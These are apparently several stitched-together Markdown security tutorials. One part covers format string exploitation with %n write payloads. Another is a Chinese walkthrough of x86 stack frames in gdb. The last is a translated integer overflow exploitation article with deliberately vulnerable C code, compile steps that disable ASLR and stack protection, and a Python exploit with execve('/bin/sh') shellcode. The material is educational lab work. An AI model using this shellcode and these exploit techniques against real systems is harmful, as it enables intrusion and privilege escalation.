0x41414145 and 0x41414148, overwriting whatever was stored there. 90 | 91 | In the previous scenario, the numbers were always increasing, so we counted on the fact that the number of printed characters was increasing as well and, so, useful for this purpose. What if there’s a byte to be written lower than the previous one, like in 0xDDBBCCAA? Well these bytes operations are always overwriting bytes written by the previous one (0x000000BB was written where the zeroes of 0x000000AA were stored). What’s important is always the least significant byte, as we’re in little endian. This means that, in order to write 0xDDBBCCAA into 0x41414141, it’s sufficient to run the following string: 92 | ``` 93 | $ ./fs 'AAAABAAACAAADAAA%154u%7$n%34u%8$n%239u%9$n%34u%10$n' 94 | Segmentation fault 95 | ``` 96 | After writing 0x000000CC, we were able to write a 0xBB byte into 0x41414143 by writing up to 443 = 0x1BB characters: the 0x01 byte written at 0x41414144 by this operation will be anyway overwritten by the following writing operation. 97 | 98 | There’s anyway another specifier, analog to %n, that allows to write the number of printed characters ONLY two bytes at a time: “%hn”. This has the advantage of speeding up the process of overwriting an address, as we need only two operations to do this, AND does not overwrite the bytes following the memory location specified. The 0xAABBCCDD example becomes: 99 | ``` 100 | $ ./fs 'CAAAAAAA%43699u%7$hn%8738u%8$hn' 101 | Segmentation fault 102 | ``` 103 | where the first operation writes 0xAABB to 0x41414143 (mind the little-endian) and the second one writes 0xCCDD to 0x41414141. 104 | 105 | Enough with these segmentation faults: let’s try to exploit this vulnerability with the following (sad) piece of code: 106 | ``` c 107 | #include 108 | #include 109 | 110 | int main(int argc, char **argv) 111 | { 112 | char tmp[256]; 113 | char pwd_ok = 0; 114 | 115 | if (argc == 2) 116 | { 117 | strncpy(tmp, argv[1], sizeof(tmp)); 118 | 119 | if (!strncmp(tmp, "gb_master", 9)) 120 | { 121 | pwd_ok = 1; 122 | } 123 | else 124 | { 125 | char buffer[1024]; 126 | 127 | strncpy(buffer, argv[1], sizeof(buffer)); 128 | strcat(buffer, " is not the correct password\n"); 129 | 130 | // The vulnerability, of course 131 | printf(buffer); 132 | } 133 | 134 | if(pwd_ok != 0) 135 | { 136 | printf("Here's a cookie, for you!\n"); 137 | } 138 | } 139 | else 140 | { 141 | printf("Syntax: %s \n", argv[0]); 142 | } 143 | 144 | return 0; 145 | } 146 | ``` 147 | Apart from the obscene authentication process, it’s plain that, here, the key of everything is the pwd_ok variable: if we’re able change its value from zero, then we’ll get the cookie. Through a GDB session, it’s possible to retrieve the address of the pwd_ok variable and, on my PC, it’s 0xFFFFC9F8. As we can write whatever we want in the memory location reserved to that variable, it’s useless to do the math and a very simple format string can trigger the cookie gift: 148 | ``` 149 | $ ./fs "$(python -c 'import sys; sys.stdout.write("\xF8\xC9\xFF\xFF%7$n 150 | ���� is not the correct password 151 | Here's a cookie, for you! 152 | ``` 153 | Format strings can get, anyway, WAY MORE complicated than all the ones that I showed in this article, as they can be used to build the stack for a call and for many other purposes. I chose to not go further with this technique because they’re not too widespread anymore nowadays (at least, not in this form): we’ll be able to get back on this in the future anyway. 154 | 155 | And now, an article of mine wouldn’t be such without some history. The first format string vulnerability was found by Miller, Fredriksen and So during a fuzz test on the csh shell in December 1990, when they published the results of the analysis on the paper “[An Empirical Study of the Reliability of UNIX Utilities] ftp://ftp.cs.wisc.edu/paradyn/technical_papers/fuzz.pdf “. However, this type of vulnerability remained silent for almost ten years. This silence was broken by Tymm Twillman, who discovered a vulnerability inside the ProFTPD daemon code in September 1999 and published his analysis on [Bugtraq](http://seclists.org/bugtraq/1999/Sep/328). This was only the beginning because, not much time later, the attention was focused on WU-FTPD, as [Przemyslaw Frasunek](http://seclists.org/bugtraq/2000/Jun/312) and [tf8](http://seclists.org/bugtraq/2000/Jun/297) started publishing working exploits for similar vulnerabilities. 156 | 157 | Format string attacks definitely gained popularity in these months and it was time to analyse how they worked in a proper way. The paper containing the results is “[Format String Attacks](http://www.thenewsh.com/~newsham/format-string-attacks.pdf)“, published by Timothy Newsham in September 2000. 158 | 159 | In May 2001 Cowan, Barringer, Beattie and Kroah-Hartman proposed a defense from the format string attacks: [FormatGuard](https://www.usenix.org/legacy/events/sec01/full_papers/cowanbarringer/cowanbarringer.pdf). This approach consisted into transforming all these format functions into equivalent macros: each macro would count the number of arguments passed to the function and compare this number to the number of specifiers inside the format string. If these numbers mismatched, then the program would abort. However, this approach was based on static analysis and, so, covered only a small part of the problem. 160 | 161 | At last, a paper describing how to exploit these scenarios was published by scut (member of TESO) in September 2001: “[Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf)“. This paper really describes the problem, the possible cases and all the different techniques appliable to each of them. 162 | 163 | In 2002 it was time for “[Advances in format string exploitation](http://www.phrack.org/issues/59/7.html)“, in which gera and riq explained some tricks on how to speed up the format string exploitation and some techniques for heap-based format string attacks. Then, in 2010, Captain Planet’s article “[A Eulogy for Format Strings](http://phrack.org/issues/67/9.html)” appeared on Phrack, explaining how to bypass the mitigation techniques that were implemented in the meanwhile. -------------------------------------------------------------------------------- /Linux 系统底层知识/Linux 函数堆栈调用.md: -------------------------------------------------------------------------------- 1 | ## 函数调用堆栈 2 | 我们用下面的C代码来研究函数调用的过程。 3 | ``` c 4 | int bar(int c, int d) 5 | { 6 | int e = c + d; 7 | return e; 8 | } 9 | 10 | int foo(int a, int b) 11 | { 12 | return bar(a, b); 13 | } 14 | 15 | int main(void) 16 | { 17 | foo(2, 3); 18 | return 0; 19 | } 20 | ``` 21 | 如果在编译时加上-g选项,那么用objdump反汇编时可以把C代码和汇编代码穿插起来显示,这样C代码和汇编代码的对应关系看得更清楚。反汇编的结果很长,以下只列出我们关心的部分。 22 | `simba@ubuntu:~/Documents/code/asm$ objdump -dS a.out` 23 | ``` asm 24 | int bar(int c, int d) 25 | { 26 | 80483dc: 55 push %ebp 27 | 80483dd: 89 e5 mov %esp,%ebp 28 | 80483df: 83 ec 10 sub $0x10,%esp 29 | int e = c + d; 30 | 80483e2: 8b 45 0c mov 0xc(%ebp),%eax 31 | 80483e5: 8b 55 08 mov 0x8(%ebp),%edx 32 | 80483e8: 01 d0 add %edx,%eax 33 | 80483ea: 89 45 fc mov %eax,-0x4(%ebp) 34 | return e; 35 | 80483ed: 8b 45 fc mov -0x4(%ebp),%eax 36 | } 37 | 80483f0: c9 leave 38 | 80483f1: c3 ret 39 | 40 | 080483f2 : 41 | 42 | int foo(int a, int b) 43 | { 44 | 80483f2: 55 push %ebp 45 | 80483f3: 89 e5 mov %esp,%ebp 46 | 80483f5: 83 ec 08 sub $0x8,%esp 47 | return bar(a, b); 48 | 80483f8: 8b 45 0c mov 0xc(%ebp),%eax 49 | 80483fb: 89 44 24 04 mov %eax,0x4(%esp) 50 | 80483ff: 8b 45 08 mov 0x8(%ebp),%eax 51 | 8048402: 89 04 24 mov %eax,(%esp) 52 | 8048405: e8 d2 ff ff ff call 80483dc 53 | } 54 | 804840a: c9 leave 55 | 804840b: c3 ret 56 | 57 | 0804840c
: 58 | 59 | int main(void) 60 | { 61 | 804840c: 55 push %ebp 62 | 804840d: 89 e5 mov %esp,%ebp 63 | 804840f: 83 ec 08 sub $0x8,%esp 64 | foo(2, 3); 65 | 8048412: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 66 | 8048419: 00 67 | 804841a: c7 04 24 02 00 00 00 movl $0x2,(%esp) 68 | 8048421: e8 cc ff ff ff call 80483f2 69 | return 0; 70 | 8048426: b8 00 00 00 00 mov $0x0,%eax 71 | } 72 | 804842b: c9 leave 73 | 804842c: c3 ret 74 | ``` 75 | 要查看编译后的汇编代码,其实还有一种办法是gcc -S main.c,这样只生成汇编代码main.s,而不生成二进制的目标文件。 76 | 整个程序的执行过程是main调用foo,foo调用bar,我们用gdb跟踪程序的执行,直到bar函数中的int e = c + d;语句执行完毕准备返回时,这时在gdb中打印函数栈帧,因为此时栈已经生长到最大。 77 | ``` 78 | simba@ubuntu:~/Documents/code/asm$ gdb a.out 79 | GNU gdb (GDB) 7.5-ubuntu 80 | Copyright (C) 2012 Free Software Foundation, Inc. 81 | License GPLv3+: GNU GPL version 3 or later 82 | This is free software: you are free to change and redistribute it. 83 | There is NO WARRANTY, to the extent permitted by law. Type "show copying" 84 | and "show warranty" for details. 85 | This GDB was configured as "i686-Linux-gnu". 86 | For bug reporting instructions, please see: 87 | ... 88 | Reading symbols from /home/simba/Documents/code/asm/a.out...done. 89 | (gdb) start 90 | Temporary breakpoint 1 at 0x8048412: file foo_bar.c, line 22. 91 | Starting program: /home/simba/Documents/code/asm/a.out 92 | 93 | 94 | Temporary breakpoint 1, main () at foo_bar.c:22 95 | 22 foo(2, 3); 96 | (gdb) s 97 | foo (a=2, b=3) at foo_bar.c:17 98 | 17 return bar(a, b); 99 | (gdb) s 100 | bar (c=2, d=3) at foo_bar.c:11 101 | 11 int e = c + d; 102 | (gdb) disas 103 | Dump of assembler code for function bar: 104 | 0x080483dc <+0>: push %ebp 105 | 0x080483dd <+1>: mov %esp,%ebp 106 | 0x080483df <+3>: sub $0x10,%esp 107 | => 0x080483e2 <+6>: mov 0xc(%ebp),%eax 108 | 0x080483e5 <+9>: mov 0x8(%ebp),%edx 109 | 0x080483e8 <+12>: add %edx,%eax 110 | 0x080483ea <+14>: mov %eax,-0x4(%ebp) 111 | 0x080483ed <+17>: mov -0x4(%ebp),%eax 112 | 0x080483f0 <+20>: leave 113 | 0x080483f1 <+21>: ret 114 | End of assembler dump. 115 | (gdb) si 116 | 0x080483e5 11 int e = c + d; 117 | (gdb) 118 | 0x080483e8 11 int e = c + d; 119 | (gdb) 120 | 0x080483ea 11 int e = c + d; 121 | (gdb) 122 | 12 return e; 123 | (gdb) 124 | 13 } 125 | (gdb) bt 126 | #0 bar (c=2, d=3) at foo_bar.c:13 127 | #1 0x0804840a in foo (a=2, b=3) at foo_bar.c:17 128 | #2 0x08048426 in main () at foo_bar.c:22 129 | (gdb) info registers 130 | eax 0x5 5 131 | ecx 0xbffff744 -1073744060 132 | edx 0x2 2 133 | ebx 0xb7fc6000 -1208197120 134 | esp 0xbffff678 0xbffff678 135 | ebp 0xbffff688 0xbffff688 136 | esi 0x0 0 137 | edi 0x0 0 138 | eip 0x80483f0 0x80483f0 139 | eflags 0x206 [ PF IF ] 140 | cs 0x73 115 141 | ss 0x7b 123 142 | ds 0x7b 123 143 | es 0x7b 123 144 | fs 0x0 0 145 | gs 0x33 51 146 | (gdb) x/20x $esp 147 | 0xbffff678: 0x0804a000 0x08048482 0x00000001 0x00000005 148 | 0xbffff688: 0xbffff698 0x0804840a 0x00000002 0x00000003 149 | 0xbffff698: 0xbffff6a8 0x08048426 0x00000002 0x00000003 150 | 0xbffff6a8: 0x00000000 0xb7e394d3 0x00000001 0xbffff744 151 | 0xbffff6b8: 0xbffff74c 0xb7fdc858 0x00000000 0xbffff71c 152 | ``` 153 | 在执行程序时,操作系统为进程分配一块栈空间来保存函数栈帧,esp寄存器总是指向栈顶,在x86平台上这个栈是从高地址向低地址增长的,我们知道每次调用一个函数都要分配一个栈帧来保存参数和局部变量,现在我们详细分析这些数据在栈空间的布局,根据gdb的输出结果图示如下: 154 | ![](../pictures/linuxstack.jpg) 155 | 156 | 图中每个小方格表示4个字节的内存单元,例如b: 3这个小方格占的内存地址是0xbffff6a4~0xbffff6a8,我把地址写在每个小方格的下边界线上,是为了强调该地址是内存单元的起始地址。我们从main函数的这里开始看起: 157 | ``` asm 158 | foo(2, 3); 159 | 8048412: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 160 | 8048419: 00 161 | 804841a: c7 04 24 02 00 00 00 movl $0x2,(%esp) 162 | 8048421: e8 cc ff ff ff call 80483f2 163 | ``` 164 | 要调用函数foo先要把参数准备好,第二个参数保存在esp+4指向的内存位置,第一个参数保存在esp指向的内存位置,可见参数是从右向左依次压栈的。然后执行call指令,这个指令有两个作用: 165 | 1. foo函数调用完之后要返回到call的下一条指令继续执行,所以把call的下一条指令的地址0x8048426压栈,同时把esp的值减4,esp的值现在是0xbffff69c(可以在main函数开始执行时info r 一下,此时esp为0xbffff6a0)。 166 | 2. 修改程序计数器eip,跳转到foo函数的开头执行。 167 | 168 | 现在看foo函数的汇编代码: 169 | ``` asm 170 | int foo(int a, int b) 171 | { 172 | 80483f2: 55 push %ebp 173 | 80483f3: 89 e5 mov %esp,%ebp 174 | 80483f5: 83 ec 08 sub $0x8,%esp 175 | return bar(a, b); 176 | 80483f8: 8b 45 0c mov 0xc(%ebp),%eax 177 | 80483fb: 89 44 24 04 mov %eax,0x4(%esp) 178 | 80483ff: 8b 45 08 mov 0x8(%ebp),%eax 179 | 8048402: 89 04 24 mov %eax,(%esp) 180 | 8048405: e8 d2 ff ff ff call 80483dc 181 | } 182 | ``` 183 | push %ebp指令把ebp寄存器的值压栈,同时把esp的值减4。esp的值现在是0xbffff698,下一条指令把这个值传送给ebp寄存器。这两条指令合起来是把原来ebp的值保存在栈上,然后又给ebp赋了新值。在每个函数的栈帧中,ebp指向栈底,而esp指向栈顶,在函数执行过程中esp随着压栈和出栈操作随时变化,而ebp是不动的,函数的参数和局部变量都是通过ebp的值加上一个偏移量来访问,例如foo函数的参数a和b分别通过ebp+8和ebp+12来访问。所以下面的指令把参数a和b再次压栈,为调用bar函数做准备,然后把返回地址压栈,调用bar函数: 184 | 185 | 现在看bar函数的指令: 186 | ``` asm 187 | 188 | int bar(int c, int d) 189 | { 190 | 80483dc: 55 push %ebp 191 | 80483dd: 89 e5 mov %esp,%ebp 192 | 80483df: 83 ec 10 sub $0x10,%esp 193 | int e = c + d; 194 | 80483e2: 8b 45 0c mov 0xc(%ebp),%eax 195 | 80483e5: 8b 55 08 mov 0x8(%ebp),%edx 196 | 80483e8: 01 d0 add %edx,%eax 197 | 80483ea: 89 45 fc mov %eax,-0x4(%ebp) 198 | ``` 199 | 200 | 这次又把foo函数的ebp压栈保存,然后给ebp赋了新值,指向bar函数栈帧的栈底,通过ebp+8和ebp+12分别可以访问参数c和d。bar函数还有一个局部变量e,可以通过ebp-4来访问。所以后面几条指令的意思是把参数c和d取出来存在寄存器中做加法,计算结果保存在eax寄存器中,再把eax寄存器存回局部变量e的内存单元。 201 | 202 | 在gdb中可以用bt命令和frame命令查看每层栈帧上的参数和局部变量,现在可以解释它的工作原理了:如果我当前在bar函数中,我可以通过ebp找到bar函数的参数和局部变量,也可以找到foo函数的ebp保存在栈上的值,有了foo函数的ebp,又可以找到它的参数和局部变量,也可以找到main函数的ebp保存在栈上的值,因此各层函数栈帧通过保存在栈上的ebp的值串起来了。 203 | 204 | 现在看bar函数的返回指令: 205 | ``` asm 206 | return e; 207 | 80483ed: 8b 45 fc mov -0x4(%ebp),%eax 208 | } 209 | 80483f0: c9 leave 210 | 80483f1: c3 ret 211 | ``` 212 | bar函数有一个int型的返回值,这个返回值是通过eax寄存器传递的,所以首先把e的值读到eax寄存器中。 213 | 然后执行leave指令,这个指令是函数开头的push %ebp和mov %esp,%ebp的逆操作: 214 | 215 | 1. 把ebp的值赋给esp,现在esp的值是0xbffff688。 216 | 2. 现在esp所指向的栈顶保存着foo函数栈帧的ebp,把这个值恢复给ebp,同时esp增加4,esp的值变成0xbffff68c。 217 | 218 | 最后是ret指令,它是call指令的逆操作: 219 | 220 | 1. 现在esp所指向的栈顶保存着返回地址,把这个值恢复给eip(pop),同时esp增加4,esp的值变成0xbffff690。 221 | 2. 修改了程序计数器eip,因此跳转到返回地址0x804840a继续执行。 222 | 223 | 地址0x804840a处是foo函数的返回指令: 224 | ``` asm 225 | 804840a: c9 leave 226 | 804840b: c3 ret 227 | ``` 228 | 重复同样的过程,又返回到了main函数。 229 | 根据上面的分析,ebp最终会重新获取值0x00000000, 而从main函数返回到0xb7e39473地址去执行,最终esp值为0xbffff6b0。 230 | 当main函数最后一条指令执行完是info r 一下可以发现: 231 | ``` 232 | esp 0xbffff6b0 0xbffff6b0 233 | ebp 0x0 0x0 234 | ``` 235 | 实际上回过头发现main函数最开始也有初始化的3条汇编指令,先把ebp压栈,此时esp减4为0x6ffffba8,再将esp赋值给ebp,最后将esp减去8,所以在我们调试第一条运行的指令(movl $0x3,0x4(%esp) )时,esp已经是0x6ffff6a0,与前面对照发现是吻合的。那么main函数回到哪里去执行呢?实际上main函数也是被其他系统函数所调用的,比如进一步si 下去会发现 是 被 libc-start.c 所调用,最终还会调用exit.c。为了从main函数入口就开始调试,可以设置一个断点如下: 236 | ``` 237 | (gdb) disas main 238 | Dump of assembler code for function main: 239 | 0x0804840c <+0>: push %ebp 240 | 0x0804840d <+1>: mov %esp,%ebp 241 | 0x0804840f <+3>: sub $0x8,%esp 242 | 0x08048412 <+6>: movl $0x3,0x4(%esp) 243 | 0x0804841a <+14>: movl $0x2,(%esp) 244 | 0x08048421 <+21>: call 0x80483f2 245 | 0x08048426 <+26>: mov $0x0,%eax 246 | 0x0804842b <+31>: leave 247 | 0x0804842c <+32>: ret 248 | End of assembler dump. 249 | (gdb) b *0x0804840c 250 | Breakpoint 1 at 0x804840c: file foo_bar.c, line 21. 251 | (gdb) r 252 | Starting program: /home/simba/Documents/code/asm/a.out 253 | 254 | 255 | Breakpoint 1, main () at foo_bar.c:21 256 | 21 { 257 | (gdb) i reg 258 | eax 0x1 1 259 | ecx 0xbffff744 -1073744060 260 | edx 0xbffff6d4 -1073744172 261 | ebx 0xb7fc6000 -1208197120 262 | esp 0xbffff6ac 0xbffff6ac 263 | ebp 0x0 0x0 264 | esi 0x0 0 265 | edi 0x0 0 266 | eip 0x804840c 0x804840c
267 | eflags 0x246 [ PF ZF IF ] 268 | cs 0x73 115 269 | ss 0x7b 123 270 | ds 0x7b 123 271 | es 0x7b 123 272 | fs 0x0 0 273 | gs 0x33 51 274 | (gdb) x/x $esp 275 | 0xbffff6ac: 0xb7e394d3 276 | (gdb) x/10i 0xb7e394d3-10 277 | 0xb7e394c9 <__libc_start_main+233>: inc %esp 278 | 0xb7e394ca <__libc_start_main+234>: and $0x74,%al 279 | 0xb7e394cc <__libc_start_main+236>: mov %eax,(%esp) 280 | 0xb7e394cf <__libc_start_main+239>: call *0x70(%esp) 281 | 0xb7e394d3 <__libc_start_main+243>: mov %eax,(%esp) 282 | 0xb7e394d6 <__libc_start_main+246>: call 0xb7e52fb0 <__GI_exit> 283 | 0xb7e394db <__libc_start_main+251>: xor %ecx,%ecx 284 | 0xb7e394dd <__libc_start_main+253>: jmp 0xb7e39414 <__libc_start_main+52> 285 | 0xb7e394e2 <__libc_start_main+258>: mov 0x3928(%ebx),%eax 286 | 0xb7e394e8 <__libc_start_main+264>: ror $0x9,%eax 287 | (gdb) x/x $esp+4+0x70 288 | 0xbffff720: 0x0804840c 289 | ``` 290 | 可以看到main函数最开始时,esp为0xbffff6ac,ebp为0,eip为0x804840c,esp所指的0xb7e394d3就是main函数执行完的返回地址,如何证明呢? 291 | 可以看到0xb7e394cf 处的指令 call *0x70(%esp) ,即将下一条地址压栈,打印一下 esp+4+0x70 指向的地址为0x804840c,也就是main函数的入口地址。此外可以看到调用call 时esp 应该为0xbffff6b0,与main 函数执行完毕时的esp 值一致。 292 | 293 | 知道了main函数的返回地址,我们也就明白了所谓的shellcode的大概实现原理,利用栈空间变量的缓冲区溢出将返回地址覆盖掉,将esp所指返回地址pop到eip时,就会改变程序的流程,不再是正确地退出,而是被我们所控制了,一般是跳转到一段shellcode(机器指令)的起始地址,这样就启动了一个shell。 294 | 295 | 注意函数调用和返回过程中的这些规则: 296 | 297 | 1. 参数压栈传递,并且是从右向左依次压栈。 298 | 2. ebp总是指向当前栈帧的栈底。 299 | 3. 返回值通过eax寄存器传递。 300 | 301 | 这些规则并不是体系结构所强加的,ebp寄存器并不是必须这么用,函数的参数和返回值也不是必须这么传,只是操作系统和编译器选择了以这样的方式实现C代码中的函数调用,这称为Calling Convention,Calling Convention是操作系统二进制接口规范(ABI,Application Binary Interface)的一部分。 302 | 303 | ## 参考 304 | 《linux c 编程一站式学习》 305 | 《网络渗透技术》 306 | -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/整型溢出.md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-整型溢出利用](http://www.csyssec.org/20161230/integerflow/)》与作者信息:CSysSec出品 3 | 4 | VM Setup: Ubuntu 12.04 (x86) 5 | 6 | 注:本文中overflow指上溢出,underflow指下溢出。默认情况下,溢出指的都是上溢出。 7 | 8 | ## 0X01 什么是整型上溢出 9 | 10 | 存储的数值大于支持的最大上限值,即为整型溢出。整型溢出本身不会直接导致任意代码执行,但是它会导致栈溢出或堆溢出,而后两者都会导致任意代码执行。本文我只谈论导致栈溢出的整型溢出,而导致堆溢出的整型溢出我会放在以后的文章中单独讲。 11 | 12 | 数据类型大小和范围: 13 | ![](../pictures/leve1integer1.png) 14 | 15 | 当我们要存储的数值大于支持的最大上限值时,数值就会错乱。打个比方,如果我们把2147483648存进有符号整型数据,那么这串数字就会错乱,其值会变为-21471483648。这就叫做整型溢出,并且这种溢出有可能导致任意代码执行。 16 | 17 | ## 0X02 整型下溢出(Integer underflow) 18 | 19 | 与整型上溢出类似,存储数值小于支持的最小下限值,即为整型下溢出。打个比方,如果我们把-2147483649存进有符号整型数据,那么这串数字就会错乱,其值会变为21471483647。这就叫做整型下溢出。本文中我虽然只讲整型上溢出,但是同样的技术也适用于整型下溢出。 20 | 21 | 漏洞代码: 22 | ``` c 23 | //vuln.c 24 | #include 25 | #include 26 | #include 27 | void store_passwd_indb(char* passwd) { 28 | } 29 | void validate_uname(char* uname) { 30 | } 31 | void validate_passwd(char* passwd) { 32 | char passwd_buf[11]; 33 | unsigned char passwd_len = strlen(passwd); /* [1] */ 34 | if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */ 35 | printf("Valid Password\n"); /* [3] */ 36 | fflush(stdout); 37 | strcpy(passwd_buf,passwd); /* [4] */ 38 | } else { 39 | printf("Invalid Password\n"); /* [5] */ 40 | fflush(stdout); 41 | } 42 | store_passwd_indb(passwd_buf); /* [6] */ 43 | } 44 | int main(int argc, char* argv[]) { 45 | if(argc!=3) { 46 | printf("Usage Error: \n"); 47 | fflush(stdout); 48 | exit(-1); 49 | } 50 | validate_uname(argv[1]); 51 | validate_passwd(argv[2]); 52 | return 0; 53 | } 54 | ``` 55 | 编译命令: 56 | 57 | ``` 58 | #echo 0 > /proc/sys/kernel/randomize_va_space 59 | $gcc -g -fno-stack-protector -z execstack -o vuln vuln.c 60 | $sudo chown root vuln 61 | $sudo chgrp root vuln 62 | $sudo chmod +s vuln 63 | ``` 64 | 上述漏洞程序的第[1]行存在整型溢出。strlen()返回的类型是size_t(无符号整型),却被存储在无符号字符串类型中。因此,任意超过无符号字符串数据类型支持的最大上限值的数据都会导致整型溢出。这样一来,当密码长度为261时,261就会被错乱存储在‘passwd_len’变量中,值会变为5。正是由于这种整型溢出漏洞,第[2]行执行的边界检查才能被绕过,从而导致栈缓冲区溢出!而在这一篇文章中我们知道,栈缓冲区溢出会导致任意程序执行。 65 | 66 | 为了让大家更好地理解漏洞利用代码,我们在对它做进一步的分析之前,先来反汇编并画出漏洞代码的堆栈布局吧! 67 | 68 | 反汇编: 69 | 70 | ``` 71 | (gdb) disassemble validate_passwd 72 | Dump of assembler code for function validate_passwd: 73 | //Function Prologue 74 | 0x0804849e <+0>: push %ebp //backup caller's ebp 75 | 0x0804849f <+1>: mov %esp,%ebp //set callee's ebp to esp 76 | 0x080484a1 <+3>: push %edi //backup edi 77 | 0x080484a2 <+4>: sub $0x34,%esp //stack space for local variables 78 | 0x080484a5 <+7>: mov 0x8(%ebp),%eax //eax = passwd 79 | 0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp) //String Length Calculation -- Begins here 80 | 0x080484af <+17>: mov %eax,%edx 81 | 0x080484b1 <+19>: mov $0x0,%eax 82 | 0x080484b6 <+24>: mov -0x1c(%ebp),%ecx 83 | 0x080484b9 <+27>: mov %edx,%edi 84 | 0x080484bb <+29>: repnz scas %es:(%edi),%al 85 | 0x080484bd <+31>: mov %ecx,%eax 86 | 0x080484bf <+33>: not %eax 87 | 0x080484c1 <+35>: sub $0x1,%eax //String Length Calculation -- Ends here 88 | 0x080484c4 <+38>: mov %al,-0x9(%ebp) //passwd_len = al 89 | 0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp) //if(passwd_len <= 4 ) 90 | 0x080484cb <+45>: jbe 0x8048500 //jmp to 0x8048500 91 | 0x080484cd <+47>: cmpb $0x8,-0x9(%ebp) //if(passwd_len >=8) 92 | 0x080484d1 <+51>: ja 0x8048500 //jmp to 0x8048500 93 | 0x080484d3 <+53>: movl $0x8048660,(%esp) //else arg = format string "Valid Password" 94 | 0x080484da <+60>: call 0x80483a0 //call puts 95 | 0x080484df <+65>: mov 0x804a020,%eax //eax = stdout 96 | 0x080484e4 <+70>: mov %eax,(%esp) //arg = stdout 97 | 0x080484e7 <+73>: call 0x8048380 //call fflush 98 | 0x080484ec <+78>: mov 0x8(%ebp),%eax //eax = passwd 99 | 0x080484ef <+81>: mov %eax,0x4(%esp) //arg2 = passwd 100 | 0x080484f3 <+85>: lea -0x14(%ebp),%eax //eax = passwd_buf 101 | 0x080484f6 <+88>: mov %eax,(%esp) //arg1 = passwd_buf 102 | 0x080484f9 <+91>: call 0x8048390 //call strcpy 103 | 0x080484fe <+96>: jmp 0x8048519 //jmp to 0x8048519 104 | 0x08048500 <+98>: movl $0x804866f,(%esp) //arg = format string "Invalid Password" 105 | 0x08048507 <+105>: call 0x80483a0 //call puts 106 | 0x0804850c <+110>: mov 0x804a020,%eax //eax = stdout 107 | 0x08048511 <+115>: mov %eax,(%esp) //arg = stdout 108 | 0x08048514 <+118>: call 0x8048380 //fflush 109 | 0x08048519 <+123>: lea -0x14(%ebp),%eax //eax = passwd_buf 110 | 0x0804851c <+126>: mov %eax,(%esp) //arg = passwd_buf 111 | 0x0804851f <+129>: call 0x8048494 //call store_passwd_indb 112 | //Function Epilogue 113 | 0x08048524 <+134>: add $0x34,%esp //unwind stack space 114 | 0x08048527 <+137>: pop %edi //restore edi 115 | 0x08048528 <+138>: pop %ebp //restore ebp 116 | 0x08048529 <+139>: ret //return 117 | End of assembler dump. 118 | (gdb) 119 | ``` 120 | 堆栈布局: 121 | ![](../pictures/level1integer2.png) 122 | 123 | 124 | 125 | 刚才讲到,一个长度为261的密码会绕过边界检查,并且允许我们覆盖存储于栈内的返回地址。那么好,我们来通过发送一串A的方法进行测试。 126 | 127 | ## 0X03 利用整型溢出漏洞 128 | 129 | 测试第一步:这样做是否会覆盖返回地址? 130 | 131 | ``` 132 | $ gdb -q vuln 133 | Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done. 134 | (gdb) r sploitfun `python -c 'print "A"*261'` 135 | Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*261'` 136 | Valid Password 137 | Program received signal SIGSEGV, Segmentation fault. 138 | 0x41414141 in ?? () 139 | (gdb) p/x $eip 140 | $1 = 0x41414141 141 | (gdb) 142 | ``` 143 | 测试第二步:来自目标缓冲区的偏移量是什么? 144 | 145 | 在这里我们来找找缓冲区‘passed_buf’中返回地址的偏移处于什么位置。之前我们已经反汇编并画出了validate_passwd()的堆栈布局,那么现在就试着找出代码的偏移位置信息吧!由堆栈布局可以看出,返回地址位于缓冲区‘passwd_buf’的偏移(0x18)处。(0x18)计算方式如下: 146 | 147 | 0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4 148 | 其中: 149 | 150 | 0xb 是 ‘passwd_buf’ 大小 151 | 0x1 是 ‘passwd_len’ 大小 152 | 0x4 是 对齐空间 153 | 0x4 是 EDI 154 | 0x4 是调用者的EBP 155 | 这样一来,用户输入 “A” 24 + “B” 4 + “C” * 233,就能以一串“A”覆盖passwd_buf, passwd_len, 对齐空间和调用者的EBP,以“BBBB”覆盖返回地址,以一串C覆盖剩余空间。 156 | 157 | ``` 158 | $ gdb -q vuln 159 | Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done. 160 | (gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'` 161 | Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'` 162 | Valid Password 163 | Program received signal SIGSEGV, Segmentation fault. 164 | 0x42424242 in ?? () 165 | (gdb) p/x $eip 166 | $1 = 0x42424242 167 | (gdb) 168 | ``` 169 | 上述输出结果表明攻击者已然获得返回地址的控制权限。存储于栈(0xbffff1fc)中的返回地址已被“BBBB”覆盖。掌握了以上信息,我们就可以写出能实现任意代码执行的漏洞利用代码了。 170 | 171 | 漏洞利用代码: 172 | 173 | ``` python 174 | #exp.py 175 | #!/usr/bin/env python 176 | import struct 177 | from subprocess import call 178 | arg1 = "sploitfun" 179 | #Stack address where shellcode is copied. 180 | ret_addr = 0xbffff274 181 | #Spawn a shell 182 | #execve(/bin/sh) 183 | scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 184 | #endianess convertion 185 | def conv(num): 186 | return struct.pack(": mov %al,-0x9(%ebp) //passwd_len = al 211 | 0x080484f3 <+85>: lea -0x14(%ebp),%eax //eax = passwd_buf 212 | ``` 213 | 故需要 12 + 4 +4 +4 来覆盖返回地址之前的空间,故 可以 24 + 4(返回地址)+ 188 nop + 45 shellcode 214 | ``` 215 | (gdb) r simba `python 